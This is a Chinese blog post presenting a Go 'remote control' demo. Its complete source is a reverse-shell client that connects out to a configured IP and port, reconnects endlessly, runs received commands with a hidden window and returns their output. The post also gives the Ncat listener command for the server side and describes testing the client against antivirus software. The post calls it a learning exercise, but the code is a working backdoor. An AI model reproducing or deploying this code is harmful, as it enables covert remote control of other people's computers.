下文为笔者学习go与远控所写简单demo。客户端go,服务端Ncat,后续有空可能会继续编写go服务端与完善一些基本功能,感兴趣的可以点关注一下。
功能介绍:
1、socket连接建立
2、命令执行
3、消息回传
4、断开连接
package main
import (
"bufio"
"bytes"
"context"
"fmt"
"github.com/axgle/mahonia"
"io"
"net"
"os"
"os/exec"
"strings"
"syscall"
"time"
)
func ConnectServer(address string){
//与服务端建立socket连接
conn,err:=net.Dial("tcp",address)
if err != nil {
fmt.Println("连接失败")
//失败重连
for {
ConnectServer(address)
}
}
//关流
defer conn.Close()
//开始接收服务端信息
for{
//等待接收指令,以 \n 为结束符
message, err := bufio.NewReader(conn).ReadString('\n')
if err == io.EOF {
// 如果服务器断开,则重新连接
conn.Close()
ConnectServer(address)
}
//删除无用字符
message1 := strings.Replace(message,"\n","",-1)
cmdParameter := strings.Split(message1, " ")
switch cmdParameter[0] {
case "back":
conn.Close()
ConnectServer(address)
case "exit":
conn.Close()
os.Exit(0)
default:
cmdSlice := cmdParameter[1:len(cmdParameter)]
//调用执行命令
out, err := Command(cmdParameter[0], cmdSlice...)
if err != nil {
out = []byte(err.Error() + "\n")
}
解决命令行输出编码问题
out1 :=ConvertToUTF8String(string(out),"gbk")
conn.Write([]byte(out1))
}
}
}
func Command(name string, arg ...string) ([]byte, error) {
// 创建一个子节点的context,30秒后自动超时
// 利用根Context创建一个父Context,使用父Context创建2个协程,超时时间设为30秒
Timeout := 30 * time.Second
ctxt, cancel := context.WithTimeout(context.Background(), Timeout)
defer cancel()
// 通过上下文执行,设置超时
cmd := exec.CommandContext(ctxt, name, arg...)
//隐藏式执行
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
var buf bytes.Buffer
cmd.Stdout = &buf
cmd.Stderr = &buf
if err := cmd.Start(); err != nil {
return buf.Bytes(), err
}
if err := cmd.Wait(); err != nil {
return buf.Bytes(), err
}
return buf.Bytes(), nil
}
func ConvertToUTF8String(src string, srcCode string) string {
srcCoder := mahonia.NewDecoder(srcCode)
srcResult := srcCoder.ConvertString(src)
return srcResult
}
func main() {
//传入Server的ip和端口让远控绑定
ConnectServer("你的IP:端口")
}
测试一下:
1、服务端使用nc监听端口222
nc -lvvp 222
2、客户端main方法中配置IP:端口,并启动程序
3、检查命令是否可以执行(杀软:某全家桶+某绒)
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)